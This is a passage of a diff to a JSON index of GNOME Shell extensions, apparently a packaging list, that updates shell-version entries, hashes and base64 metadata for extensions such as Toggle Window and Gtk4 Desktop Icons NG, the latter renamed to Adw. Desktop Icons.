     "40": {"version": "6", "sha256": "0cd80apqlxznrq2p0mdkrd4njns6w6sl44z4b1nvshm456nw5mbv", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNvdW50ZG93biB0byBuZXh0IGNvZGluZyBjb250ZXN0cy4gVGhpcyBleHRlbnNpb24gdXNlcyB0aGUgQVBJIG9mIGtvbnRlc3RzLm5ldCB0byBnZXQgdGhlIGxpc3Qgb2YgYWxsIHVwY29taW5nIGNvbnRlc3RzLiBBIGNvdW50ZG93biB0byB0aGUgY2xvc2VzdCB1cGNvbWluZyBjb250ZXN0ICh0aGF0IHlvdSBhcmUgcGFydGljaXBhdGluZyBpbikgaXMgc2hvd24gaW4gdGhlIHBhbmVsLCB3aGljaCBjYW4gYmUgY2xpY2tlZCBvbiB0byB2aWV3IHRoZSBsaXN0IG9mIGFsbCB1cGNvbWluZyBjb250ZXN0cy4iLAogICJuYW1lIjogIkNvbnRlc3QgQ291bnRkb3duIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmNvbnRlc3QtY291bnRkb3duIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MCIsCiAgICAiNDIiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vcmFnLWhhdi9jb250ZXN0Y291bnRkb3duIiwKICAidXVpZCI6ICJjb250ZXN0Y291bnRkb3duQHJhZ2hhdiIsCiAgInZlcnNpb24iOiA2Cn0="},
@@ -5832,7 +5846,7 @@
     "44": {"version": "6", "sha256": "0cd80apqlxznrq2p0mdkrd4njns6w6sl44z4b1nvshm456nw5mbv", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNvdW50ZG93biB0byBuZXh0IGNvZGluZyBjb250ZXN0cy4gVGhpcyBleHRlbnNpb24gdXNlcyB0aGUgQVBJIG9mIGtvbnRlc3RzLm5ldCB0byBnZXQgdGhlIGxpc3Qgb2YgYWxsIHVwY29taW5nIGNvbnRlc3RzLiBBIGNvdW50ZG93biB0byB0aGUgY2xvc2VzdCB1cGNvbWluZyBjb250ZXN0ICh0aGF0IHlvdSBhcmUgcGFydGljaXBhdGluZyBpbikgaXMgc2hvd24gaW4gdGhlIHBhbmVsLCB3aGljaCBjYW4gYmUgY2xpY2tlZCBvbiB0byB2aWV3IHRoZSBsaXN0IG9mIGFsbCB1cGNvbWluZyBjb250ZXN0cy4iLAogICJuYW1lIjogIkNvbnRlc3QgQ291bnRkb3duIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmNvbnRlc3QtY291bnRkb3duIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MCIsCiAgICAiNDIiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vcmFnLWhhdi9jb250ZXN0Y291bnRkb3duIiwKICAidXVpZCI6ICJjb250ZXN0Y291bnRkb3duQHJhZ2hhdiIsCiAgInZlcnNpb24iOiA2Cn0="}
   }}
 , {"uuid": "toggle-window@togglewindow.com", "name": "Toggle Window", "pname": "toggle-window", "description": "For security reasons, since Gnome 41, cann't invoke '**org.gnome.Shell.Eval**' to control the behavior of window, we expose a D-Bus interface to activate/minimized a window by WMclass name.", "link": "https://extensions.gnome.org/extension/5185/toggle-window/", "shell_version_map": {
-    "42": {"version": "3", "sha256": "03d53mf46jdypbqvw5720cc4ii39q87jscnnnwmqcd2x6sn6c0xs", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkZvciBzZWN1cml0eSByZWFzb25zLCBzaW5jZSBHbm9tZSA0MSwgY2Fubid0IGludm9rZSAnKipvcmcuZ25vbWUuU2hlbGwuRXZhbCoqJyB0byBjb250cm9sIHRoZSBiZWhhdmlvciBvZiB3aW5kb3csIHdlIGV4cG9zZSBhIEQtQnVzIGludGVyZmFjZSB0byBhY3RpdmF0ZS9taW5pbWl6ZWQgYSB3aW5kb3cgYnkgV01jbGFzcyBuYW1lLiIsCiAgIm5hbWUiOiAiVG9nZ2xlIFdpbmRvdyIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDIiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS96aGFuZ2ppYWtvdXpmL3RvZ2dsZV93aW5kb3ciLAogICJ1dWlkIjogInRvZ2dsZS13aW5kb3dAdG9nZ2xld2luZG93LmNvbSIsCiAgInZlcnNpb24iOiAzCn0="}
+    "48": {"version": "6", "sha256": "0i5rfwaxfhb7wnkvhm4pismqxqhc0ks6cndj1izrz5ljglfb97yx", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkZvciBzZWN1cml0eSByZWFzb25zLCBzaW5jZSBHbm9tZSA0MSwgY2Fubid0IGludm9rZSAnKipvcmcuZ25vbWUuU2hlbGwuRXZhbCoqJyB0byBjb250cm9sIHRoZSBiZWhhdmlvciBvZiB3aW5kb3csIHdlIGV4cG9zZSBhIEQtQnVzIGludGVyZmFjZSB0byBhY3RpdmF0ZS9taW5pbWl6ZWQgYSB3aW5kb3cgYnkgV01jbGFzcyBuYW1lLiIsCiAgIm5hbWUiOiAiVG9nZ2xlIFdpbmRvdyIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS96aGFuZ2ppYWtvdXpmL3RvZ2dsZV93aW5kb3ciLAogICJ1dWlkIjogInRvZ2dsZS13aW5kb3dAdG9nZ2xld2luZG93LmNvbSIsCiAgInZlcnNpb24iOiA2Cn0="}
   }}
 , {"uuid": "super-key@tommimon.github.com", "name": "Super Key", "pname": "super-key", "description": "Fork of Pop Launcher Super-Key: Bind the Super-Key to a custom action", "link": "https://extensions.gnome.org/extension/5188/super-key/", "shell_version_map": {
     "42": {"version": "4", "sha256": "02zh6hqv3l7r9m4im864hjpyhjsyblvvclinl817q6vmbbniq5f2", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkZvcmsgb2YgUG9wIExhdW5jaGVyIFN1cGVyLUtleTogQmluZCB0aGUgU3VwZXItS2V5IHRvIGEgY3VzdG9tIGFjdGlvbiIsCiAgIm5hbWUiOiAiU3VwZXIgS2V5IiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnN1cGVyLWtleSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDIiLAogICAgIjQzIiwKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3RvbW1pbW9uIiwKICAidXVpZCI6ICJzdXBlci1rZXlAdG9tbWltb24uZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA0Cn0="},
@@ -5917,16 +5931,16 @@
     "43": {"version": "14", "sha256": "0s73v3m8xb641hha7rbs4dfy944zmddi428hvaf6li6fjq81z6wf", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNvbnRyb2wgTGVub3ZvIElkZWFQYWQgbGFwdG9wcyBvcHRpb25zOiBDb25zZXJ2YXRpb24gTW9kZSwgQ2FtZXJhIExvY2ssIEZuIExvY2ssIFRvdWNocGFkIExvY2ssIFVTQiBjaGFyZ2luZyIsCiAgIm5hbWUiOiAiSWRlYVBhZCBDb250cm9scyIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5pZGVhcGFkLWNvbnRyb2xzIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MiIsCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vQXp6YW1BbHNoYXJhZmkvaWRlYXBhZC1jb250cm9scy1nbm9tZS1leHRlbnNpb24iLAogICJ1dWlkIjogImlkZWFwYWQtY29udHJvbHNAYXp6YW1hbHNoYXJhZmkuZ21haWwuY29tIiwKICAidmVyc2lvbiI6IDE0Cn0="},
     "44": {"version": "14", "sha256": "0s73v3m8xb641hha7rbs4dfy944zmddi428hvaf6li6fjq81z6wf", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNvbnRyb2wgTGVub3ZvIElkZWFQYWQgbGFwdG9wcyBvcHRpb25zOiBDb25zZXJ2YXRpb24gTW9kZSwgQ2FtZXJhIExvY2ssIEZuIExvY2ssIFRvdWNocGFkIExvY2ssIFVTQiBjaGFyZ2luZyIsCiAgIm5hbWUiOiAiSWRlYVBhZCBDb250cm9scyIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5pZGVhcGFkLWNvbnRyb2xzIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MiIsCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vQXp6YW1BbHNoYXJhZmkvaWRlYXBhZC1jb250cm9scy1nbm9tZS1leHRlbnNpb24iLAogICJ1dWlkIjogImlkZWFwYWQtY29udHJvbHNAYXp6YW1hbHNoYXJhZmkuZ21haWwuY29tIiwKICAidmVyc2lvbiI6IDE0Cn0="}
   }}
-, {"uuid": "gtk4-ding@smedius.gitlab.com", "name": "Gtk4 Desktop Icons NG (DING)", "pname": "gtk4-desktop-icons-ng-ding", "description": "Gtk4-DING\n\nLibadwaita/Gtk4 port of Desktop Icons NG with multiple fixes and new features.\n\nIcons can be positioned anywhere on desktop or are snapped to a grid. Can make links on the Desktop. GSconnect Integration, can send files to connected devices. Drag and Drop support on to Dock, Dash, or from Dock, Dash to the Desktop.\n\nUpdated and modified code base, uses Gio menus, all translations on Weblate. All functions are asynchronous where possible. It is ported to ESM modules, supports Gnome 45 and higher.\n\nMultiple fixes and new features-\n\n* Added global hotkey accelerator to display or hide desktop icons.\n* New ShortCutsManager that displays Adw.Window and widgets for shortcuts.\n* Complet rewrite of the app, major clean up and restructuring.\n* Add a .desktop icon with actions for app, can be displayed in dock for windows, launcher, menus etc with right click actions, including hiding all windows\n* Show a shortcuts window for the application to list all available shortcuts.\n* Improve multi-monitor support, saves monitor positon with icon position, allow to change fractional scaling in app if a second monitor connected at different zoom level.\n* Fix dd-term focus loss isssue.\n* App rewritten as Adw.Application GObject subclass, better css handling, use Adw.Stylemanager, better icons and emblems for stackTop items.\n* Integrate ptyxis, replaces gnome-terminal on some distributions. Open ptyxis properly.\n* Modern emblems like Gnome Files, allow multiple emblems\n* Emblem for encrypted pdf, zip, 7z files\n* Allow setting any user folder as the Desktop folder following xdg-sepecifications and updating the xdg-files and vice versa in the running program.\n* Proper app icon, image and app name in Notifications.\n* Proper integration for AppImage files, treat them like .desktop files. Integration with AppImageLauncher. Prefer that to open AppImage files if available.\n* For Gnome 47, change highlighting and rubber band selection colors with accent-colors in Gnome Settings.\n* Selection rectangle with rounded corners, similar to Gnome Files aesthetic.\n* The stock gnome shell background menu can now be shown from the Gtk4 DING desktop right click menu. All shell settings can be accessed from that menu.\n* Icons can be placed on any arbitrary position. Make a mess! - icons can overlap each other etc. Neat people can keep the default behavior and have the icons always snapped to a grid. Controlled in preferences, tweaks, 'Snap to grid'. Affects the shape of icons and drag and drop behavior as well. Free positioning has trapezoidal icons, drop only works with direct overlap. Grid positioning has rectangular icons, and drag and drop works on overlap with the grid holding the icon. This behavior is consistent with other desktop environments.\n* Icons on background on overview, improved gesture switching icons appear to be on all work spaces on the background with workspace switching, with no flashing.\n* Support for dragging icons onto the dock - Drag icons from desktop to and drop over application icon to open them with the app. Works with Dash to Dock and Dash to Panel.\n* Support for dragging icons from desktop directly to Trash on Dash to Dock, or to mounted volumes on the dock, to copy them directly.\n* Set the correct cursor with proposed action on drop on dock.\n* Drag Navigation on Dock - dragging an icon over the Gnome Files icon on the dock or mounted drives, and hovering over it for 1/2 seconds will open a Gnome Files Window. Behavior can be changed in preferences.\n* Drag Navigation - dragging an icon over a folder icon or a drive icon, and then hovering over it for one and half seconds will open that location in Gnome Files.\n* Sets correct hovering behavior during drag and drop on the Dock, enables scrolling in the dock to icons when they are hidden.\n* Drag and drop Favorite apps from Dash to Dock, Dash to Panel directly to Desktop. Pressing shift, ctr or alt while doing this will copy or move the app to Desktop, allowing launching from the desktop. Just dropping an app from the dock to the desktop will remove from Dash/Dock.\n* Follows xdg-terminal-exec to display the correct terminal in right click menus, and will launch the correct terminal, even if xdg-terminal-exec is not installed.\n* Shows the correct file manager in the right click menu and give the user the option to change the file manager.\n* Gio menus, menus display all keyboard shortcuts.\n* Uses Gtk4 AlertDialog, uses asynchronous promises for dialog's, shows button to launch URL for help and troubleshooting information.\n* Automatically zip Folders if mailing them.\n* Tool tips are now positioned correctly to not go under the dash or make it auto hide, or go over/under any gnome shell actors on the edge of the screen.\n* Right Click Menus will not go under the dock.\n* Make Links on Desktop with Alt button on Wayland. Shift, Ctr or Alt button control the effect, move, copy, drop or link. (Linking may not work on X11)\n* Copied/dropped/pasted files retain dropped position. Undo action after trashing or moving files puts icons back in the old position.\n* Better multi monitor support, preference to place icons on non primary monitor.\n* GSconnect extension integration, can send files from desktop directly to connected mobile device.\n* Accessibility support with screen readers\n* Deals correctly with appimage files on desktop.\n* Display GIMP thumbnails, even for snap and flatpack installs.\n\nPlease see Readme for full details of new features. Works best on Wayland. However your mileage may vary on X11. Multiple bugs fixed on X11.\n\nPlease report all issues on the Gitlab link below, this page is not monitored. All known issues as well as all the features are detailed there.", "link": "https://extensions.gnome.org/extension/5263/gtk4-desktop-icons-ng-ding/", "shell_version_map": {
+, {"uuid": "gtk4-ding@smedius.gitlab.com", "name": "Gtk4 Desktop Icons NG (DING)", "pname": "gtk4-desktop-icons-ng-ding", "description": "Adw. Desktop Icons\n\nLibadwaita/Gtk4 port of Desktop Icons NG with multiple fixes and new features.\n\nIcons can be positioned anywhere on desktop or are snapped to a grid. Can make links on the Desktop. GSconnect Integration, can send files to connected devices. Drag and Drop support on to Dock, Dash, or from Dock, Dash to the Desktop.\n\nUpdated and modified code base, uses Gio menus, all translations on Weblate. All functions are asynchronous where possible. It is ported to ESM modules, supports Gnome 45 and higher.\n\nMultiple fixes and new features-\n* Removed dependency on xdg-user-dirs\n* Change name to Adw. Desktop Icons, version 100 :)\n* Feature complete shortcut manager with editable keybindings for app actions.\n* New About dialog and redesigned preferences. Proper credits and acknowledgements\n* Right click menu now displays and activates actions for .desktop files.\n* Added global hotkey accelerator to display or hide desktop icons.\n* New ShortCutsManager that displays Adw.Window and widgets for shortcuts.\n* Complete rewrite of the app, major clean up and restructuring.\n* Add a .desktop icon with actions for app, can be displayed in dock for windows, launcher, menus etc with right click actions, including hiding all windows\n* Show a shortcuts window for the application to list all available shortcuts.\n* Improve multi-monitor support, saves monitor positon with icon position, allow to change fractional scaling in app if a second monitor connected at different zoom level.\n* Fix dd-term focus loss isssue.\n* App rewritten as Adw.Application GObject subclass, better css handling, use Adw.Stylemanager, better icons and emblems for stackTop items.\n* Integrate ptyxis, replaces gnome-terminal on some distributions. Open ptyxis properly.\n* Modern emblems like Gnome Files, allow multiple emblems\n* Emblem for encrypted pdf, zip, 7z files\n* Allow setting any user folder as the Desktop folder following xdg-sepecifications and updating the xdg-files and vice versa in the running program.\n* Proper app icon, image and app name in Notifications.\n* Proper integration for AppImage files, treat them like .desktop files. Integration with AppImageLauncher. Prefer that to open AppImage files if available.\n* For Gnome 47, change highlighting and rubber band selection colors with accent-colors in Gnome Settings.\n* Selection rectangle with rounded corners, similar to Gnome Files aesthetic.\n* The stock gnome shell background menu can now be shown from the Gtk4 DING desktop right click menu. All shell settings can be accessed from that menu.\n* Icons can be placed on any arbitrary position. Make a mess! - icons can overlap each other etc. Neat people can keep the default behavior and have the icons always snapped to a grid. Controlled in preferences, tweaks, 'Snap to grid'. Affects the shape of icons and drag and drop behavior as well. Free positioning has trapezoidal icons, drop only works with direct overlap. Grid positioning has rectangular icons, and drag and drop works on overlap with the grid holding the icon. This behavior is consistent with other desktop environments.\n* Icons on background on overview, improved gesture switching icons appear to be on all work spaces on the background with workspace switching, with no flashing.\n* Support for dragging icons onto the dock - Drag icons from desktop to and drop over application icon to open them with the app. Works with Dash to Dock and Dash to Panel.\n* Support for dragging icons from desktop directly to Trash on Dash to Dock, or to mounted volumes on the dock, to copy them directly.\n* Set the correct cursor with proposed action on drop on dock.\n* Drag Navigation on Dock - dragging an icon over the Gnome Files icon on the dock or mounted drives, and hovering over it for 1/2 seconds will open a Gnome Files Window. Behavior can be changed in preferences.\n* Drag Navigation - dragging an icon over a folder icon or a drive icon, and then hovering over it for one and half seconds will open that location in Gnome Files.\n* Sets correct hovering behavior during drag and drop on the Dock, enables scrolling in the dock to icons when they are hidden.\n* Drag and drop Favorite apps from Dash to Dock, Dash to Panel directly to Desktop. Pressing shift, ctr or alt while doing this will copy or move the app to Desktop, allowing launching from the desktop. Just dropping an app from the dock to the desktop will remove from Dash/Dock.\n* Follows xdg-terminal-exec to display the correct terminal in right click menus, and will launch the correct terminal, even if xdg-terminal-exec is not installed.\n* Shows the correct file manager in the right click menu and give the user the option to change the file manager.\n* Gio menus, menus display all keyboard shortcuts.\n* Uses Gtk4 AlertDialog, uses asynchronous promises for dialog's, shows button to launch URL for help and troubleshooting information.\n* Automatically zip Folders if mailing them.\n* Tool tips are now positioned correctly to not go under the dash or make it auto hide, or go over/under any gnome shell actors on the edge of the screen.\n* Right Click Menus will not go under the dock.\n* Make Links on Desktop with Alt button on Wayland. Shift, Ctr or Alt button control the effect, move, copy, drop or link. (Linking may not work on X11)\n* Copied/dropped/pasted files retain dropped position. Undo action after trashing or moving files puts icons back in the old position.\n* Better multi monitor support, preference to place icons on non primary monitor.\n* GSconnect extension integration, can send files from desktop directly to connected mobile device.\n* Accessibility support with screen readers\n* Deals correctly with appimage files on desktop.\n* Display GIMP thumbnails, even for snap and flatpack installs.\n\nPlease see Readme for full details of new features. Works best on Wayland. However your mileage may vary on X11. Multiple bugs fixed on X11.\n\nPlease report all issues on the Gitlab link below, this page is not monitored. All known issues as well as all the features are detailed there.", "link": "https://extensions.gnome.org/extension/5263/gtk4-desktop-icons-ng-ding/", "shell_version_map": {
     "40": {"version": "17", "sha256": "1d1xpjypmim6yzsscrkv1n9p7b141k9xi3mab1sz8cqic5v8401z", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkxpYmFkd2FpdGEvR3RrNCBQb3J0IG9mIERlc2t0b3AgSWNvbnMgTkcgd2l0aCB1cGRhdGVkIGFuZCBtb2RpZmllZCBjb2RlIGJhc2UsIHVzZXMgZ2lvIG1lbnVzLCBhbGwgZnVuY3Rpb25zIGFyZSBhc3luYyB3aGVyZSBwb3NzaWJsZSwgbXVsdGlwbGUgZml4ZXMgYW5kIG5ldyBmZWF0dXJlcy1cblxuKiBOZXcgRHJhZyBOYXZpZ2F0aW9uIG9uIERvY2sgLSBkcmFnZ2luZyBhbiBpY29uIG92ZXIgdGhlIEdub21lIEZpbGVzIGljb24gb24gdGhlIGRvY2sgb3IgbW91bnRlZCBkcml2ZXMsIGFuZCBob3ZlcmluZyBvdmVyIGl0IGZvciAxLzIgc2Vjb25kIHdpbGwgb3BlbiBhIEdub21lIEZpbGVzIFdpbmRvdy5cbiogTmV3IC0gU2V0IHRoZSBjb3JyZWN0IGN1cnNvciB3aXRoIHByb3Bvc2VkIGFjdGlvbiBvbiBkcm9wIG9uIGRvY2ssIGltcHJvdmUgZHJvcCBkZXRlY3Rpb24uXG4qIE5ldyAtIERyYWcgTmF2aWdhdGlvbiAtIGRyYWdnaW5nIGFuIGljb24gb3ZlciBhIGZvbGRlciBpY29uIG9yIGEgZHJpdmUgaWNvbiwgYW5kIHRoZW4gaG92ZXJpbmcgb3ZlciBpdCBmb3IgMS8yIHNlY29uZCB3aWxsIG9wZW4gdGhhdCBsb2NhdGlvbiBpbiBHbm9tZSBGaWxlcy5cbiogTmV3IC0gRHJhZyBJY29uIG5vdyBmb3JtcyBhIGJ1bmNoIG9mIGljb25zIGlmIG11bHRpcGxlIGljb25zIGFyZSBkcmFnZ2VkLiBDb2RlIGZyb20gTmF1dGlsdXMsIHRyYW5zbGF0ZWQgdG8gZmlsZXMuXG4qIE5ldyAtIE5vdyBkZWFscyBjb3JyZWN0bHkgd2l0aCBhcHBpbWFnZSBmaWxlcyBvbiBkZXNrdG9wLlxuKiBOb3cgdXNlcyBsaWJhZHdhaXRhLlxuKiBNYWtlIExpbmtzIG9uIERlc2t0b3Agd2l0aCBBbHQgYnV0dG9uIG9uIFdheWxhbmQuIERvZXMgbm90IHdvcmsgd2l0aCBYMTEuXG4qIENvcGllZC9kcm9wcGVkL3Bhc3RlZCBmaWxlcyByZXRhaW4gZHJvcHBlZCBwb3NpdGlvbi5cbiogUmlnaHQgQ2xpY2sgTWVudXMgd2lsbCBub3QgZ28gdW5kZXIgdGhlIGRvY2suXG4qIEJldHRlciBtdWx0aSBtb25pdG9yIHN1cHBvcnQsIHByZWZlcmVuY2UgdG8gcGxhY2UgaWNvbnMgb24gbm9uIHByaW1hcnkgbW9uaXRvci5cbiogR1Njb25uZWN0IGV4dGVuc2lvbiBpbnRlZ3JhdGlvbiwgY2FuIHNlbmQgZmlsZXMgZnJvbSBkZXNrdG9wIGRpcmVjdGx5IHRvIG1vYmlsZSBkZXZpY2UuXG4qIERyYWcgYW5kIGRyb3AgRmF2b3JpdGUgYXBwcyBmcm9tIERhc2ggdG8gRG9jaywgRGFzaCB0byBQYW5lbCBkaXJlY3RseSB0byBEZXNrdG9wIG9yIHJlbW92ZSBmcm9tIGZhdm9yaXRlcy5cbiogSW1wcm92ZWQgZ2VzdHVyZSBzd2l0Y2hpbmcgb2Ygd29ya3NwYWNlcywgaWNvbnMgYXBwZWFyIHRvIGJlIG9uIGFsbCB3b3Jrc3BhY2VzIGluIG1vdmluZyB3aW5kb3dzLlxuKiBTdXBwb3J0IGZvciBkcmFnZ2luZyBpY29ucyBvbnRvIHRoZSBkb2NrIC0gRHJhZyBpY29ucyBmcm9tIGRlc2t0b3AgdG8gYW5kIGRyb3Agb3ZlciBhcHBsaWNhdGlvbiBpY29uIHRvIG9wZW4gdGhlbSB3aXRoIHRoZSBhcHAuIFdvcmtzIHdpdGggRGFzaCB0byBEb2NrIGFuZCBEYXNoIHRvIFBhbmVsLlxuKiBTdXBwb3J0IGZvciBkcmFnZ2luZyBpY29ucyBmcm9tIGRlc2t0b3AgZGlyZWN0bHkgdG8gVHJhc2ggb24gRGFzaCB0byBEb2NrIG9yIHRvIG1vdW50ZWQgdm9sdW1lcyB0byBjb3B5IHRoZW0gZGlyZWN0bHkuXG4qIERpc3BsYXkgR0lNUCB0aHVtYm5haWxzLCBldmVuIGZvciBzbmFwIGFuZCBmbGF0cGFjayBpbnN0YWxscy5cblxuUGxlYXNlIHNlZSBSZWFkbWUgZm9yIGZ1bGwgZGV0YWlscyBvZiBuZXcgZmVhdHVyZXMuIFdvcmtzIGJlc3Qgb24gV2F5bGFuZC4gVGhlcmUgaXMgYSBidWcgaW4gR0pTIG9uIFgxMSwgcGxlYXNlIHNlZSBSZWFkbWUuIFRoaXMgZXh0ZW5zaW9uIG5vdyB3b3JrcyB3aXRoIHNvbWUgaGFja3MsIGV2ZW4gb24gWDExLiBIb3dldmVyIHlvdXIgbWlsZWFnZSBtYXkgdmFyeSBhbmQgdXNlIHdpdGggY2F1dGlvbiBvbiBYMTEgYW5kIHJlcG9ydCBhbnkgaXNzdWVzLlxuXG5QbGVhc2UgcmVwb3J0IGFsbCBpc3N1ZXMgb24gdGhlIGdpdGxhYiBsaW5rIGJlbG93LCB0aGlzIHBhZ2UgaXMgbm90IG1vbml0b3JlZC4gQWxsIGtub3duIGlzc3VlcyBhcmUgZGV0YWlsZWQgdGhlcmUuIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ3RrNC1kaW5nQHNtZWRpdXMuZ2l0bGFiLmNvbSIsCiAgIm5hbWUiOiAiTGliYWR3YWl0YSwgR3RrNCBEZXNrdG9wIEljb25zIE5HIHdpdGggR1Njb25uZWN0IEludGVncmF0aW9uLCBEcmFnIGFuZCBEcm9wIG9udG8gRG9jayAoR3RrNC1ESU5HKSIsCiAgInNlc3Npb24tbW9kZXMiOiBbCiAgICAidXNlciIsCiAgICAidW5sb2NrLWRpYWxvZyIKICBdLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZ3RrNC1kaW5nIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MCIsCiAgICAiNDEiLAogICAgIjQyIiwKICAgICI0MyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuY29tL3NtZWRpdXMvZGVza3RvcC1pY29ucy1uZyIsCiAgInV1aWQiOiAiZ3RrNC1kaW5nQHNtZWRpdXMuZ2l0bGFiLmNvbSIsCiAgInZlcnNpb24iOiAxNwp9"},
     "41": {"version": "17", "sha256": "1d1xpjypmim6yzsscrkv1n9p7b141k9xi3mab1sz8cqic5v8401z", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkxpYmFkd2FpdGEvR3RrNCBQb3J0IG9mIERlc2t0b3AgSWNvbnMgTkcgd2l0aCB1cGRhdGVkIGFuZCBtb2RpZmllZCBjb2RlIGJhc2UsIHVzZXMgZ2lvIG1lbnVzLCBhbGwgZnVuY3Rpb25zIGFyZSBhc3luYyB3aGVyZSBwb3NzaWJsZSwgbXVsdGlwbGUgZml4ZXMgYW5kIG5ldyBmZWF0dXJlcy1cblxuKiBOZXcgRHJhZyBOYXZpZ2F0aW9uIG9uIERvY2sgLSBkcmFnZ2luZyBhbiBpY29uIG92ZXIgdGhlIEdub21lIEZpbGVzIGljb24gb24gdGhlIGRvY2sgb3IgbW91bnRlZCBkcml2ZXMsIGFuZCBob3ZlcmluZyBvdmVyIGl0IGZvciAxLzIgc2Vjb25kIHdpbGwgb3BlbiBhIEdub21lIEZpbGVzIFdpbmRvdy5cbiogTmV3IC0gU2V0IHRoZSBjb3JyZWN0IGN1cnNvciB3aXRoIHByb3Bvc2VkIGFjdGlvbiBvbiBkcm9wIG9uIGRvY2ssIGltcHJvdmUgZHJvcCBkZXRlY3Rpb24uXG4qIE5ldyAtIERyYWcgTmF2aWdhdGlvbiAtIGRyYWdnaW5nIGFuIGljb24gb3ZlciBhIGZvbGRlciBpY29uIG9yIGEgZHJpdmUgaWNvbiwgYW5kIHRoZW4gaG92ZXJpbmcgb3ZlciBpdCBmb3IgMS8yIHNlY29uZCB3aWxsIG9wZW4gdGhhdCBsb2NhdGlvbiBpbiBHbm9tZSBGaWxlcy5cbiogTmV3IC0gRHJhZyBJY29uIG5vdyBmb3JtcyBhIGJ1bmNoIG9mIGljb25zIGlmIG11bHRpcGxlIGljb25zIGFyZSBkcmFnZ2VkLiBDb2RlIGZyb20gTmF1dGlsdXMsIHRyYW5zbGF0ZWQgdG8gZmlsZXMuXG4qIE5ldyAtIE5vdyBkZWFscyBjb3JyZWN0bHkgd2l0aCBhcHBpbWFnZSBmaWxlcyBvbiBkZXNrdG9wLlxuKiBOb3cgdXNlcyBsaWJhZHdhaXRhLlxuKiBNYWtlIExpbmtzIG9uIERlc2t0b3Agd2l0aCBBbHQgYnV0dG9uIG9uIFdheWxhbmQuIERvZXMgbm90IHdvcmsgd2l0aCBYMTEuXG4qIENvcGllZC9kcm9wcGVkL3Bhc3RlZCBmaWxlcyByZXRhaW4gZHJvcHBlZCBwb3NpdGlvbi5cbiogUmlnaHQgQ2xpY2sgTWVudXMgd2lsbCBub3QgZ28gdW5kZXIgdGhlIGRvY2suXG4qIEJldHRlciBtdWx0aSBtb25pdG9yIHN1cHBvcnQsIHByZWZlcmVuY2UgdG8gcGxhY2UgaWNvbnMgb24gbm9uIHByaW1hcnkgbW9uaXRvci5cbiogR1Njb25uZWN0IGV4dGVuc2lvbiBpbnRlZ3JhdGlvbiwgY2FuIHNlbmQgZmlsZXMgZnJvbSBkZXNrdG9wIGRpcmVjdGx5IHRvIG1vYmlsZSBkZXZpY2UuXG4qIERyYWcgYW5kIGRyb3AgRmF2b3JpdGUgYXBwcyBmcm9tIERhc2ggdG8gRG9jaywgRGFzaCB0byBQYW5lbCBkaXJlY3RseSB0byBEZXNrdG9wIG9yIHJlbW92ZSBmcm9tIGZhdm9ya